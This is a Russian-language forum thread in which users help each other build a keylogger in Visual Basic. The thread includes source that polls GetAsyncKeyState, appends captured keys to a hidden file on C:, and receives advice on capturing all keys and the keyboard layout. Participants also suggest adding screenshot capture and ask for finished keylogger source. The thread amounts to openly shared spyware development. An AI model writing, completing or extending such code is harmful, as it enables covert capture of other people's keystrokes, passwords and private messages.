Опять про клавиатурный шпион

[Создатель]

Люди!!!Помогите плиз.....

Вот, пытался написать шпион...всю основу взял из статьи о клав. шпионе...Добавил клавиши и вроде бы должно работать, но не тут то было.
Программа на нажатие клавиши реагирует, но вот в txt-шный файл записывает все клавиши большими буквами!!!

keystate = Getasynckeystate(97)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr(97) + vbNewLine
End If

Тогда при нажатии "a(строчной)" в тектовом фале появляется "А(заглавная)

И еще я мучился сделать так, чтобы не прописывать каждую клавишу...не получилось....
Может кто подскажет?

[alibek]

Ты можешь использовать GetKeyboardState, тогда "снимешь" состояние сразу всех клавиш. А насчет регистра (а заодно она у тебя не будет учитывать язык, т.е. русская "А" будет записана как латинская "F") тут надо думать, а я уже ухожу. Покопайся в сторону определения текущей раскладки клавиатуры.

[Amed]

Подсказка:
Используется API GetKeyboardLayoutName...

Код: Выделить всё

Private Declare Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long

[Amed]

Да, точно, в моём варианте шпиона именно так и сделано... Забыл написать

[Создатель]

Спасибо, но я уже просто париться начинаю и тупить конкретно....
может у кого исходняки есть уже готового......
скиньти плиз на Kreator777@yandex.ru
Буду очень благодарен

[Ramzes]

Я бы тоже посмотрел на хорошого клавиатурного шпиона!!!
Я когда давно писал но было время приходилось винт менять !
А слабо еще функцыю добавить, что скриншоты делало и сохраняло?
Если кому что надо могу помочь.

А исходничек мона изложить прямо тут на форуме (пусть все скачивают)

[Создатель]

Вот небольшой фрагмент кода:

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H14


Private Sub Timer1_Timer()


keystate = Getasynckeystate(97)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr(97) + vbNewLine
End If

keystate = Getasynckeystate(98)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr(98) + vbNewLine
End If

keystate = Getasynckeystate(99)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr(99) + vbNewLine
End If




End Sub

Private Sub Form_Load()
Text2 = "Контроль за системой активирован " + Time$ + " " + Date$ + vbNewLine

End Sub


Private Sub Text2_Change()
Open "C:\test.txt" For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""
SetAttr "C:\test.txt", vbHidden
End Sub


но почему-то когда запускаешь прогу, и нажимаешь a,b,c (анг. прописные)
то в тестовом файле появляется запись "ABC" (Заглавные)
может кто поможет и че-нить сюда добавит, чтоб все нормально запахало???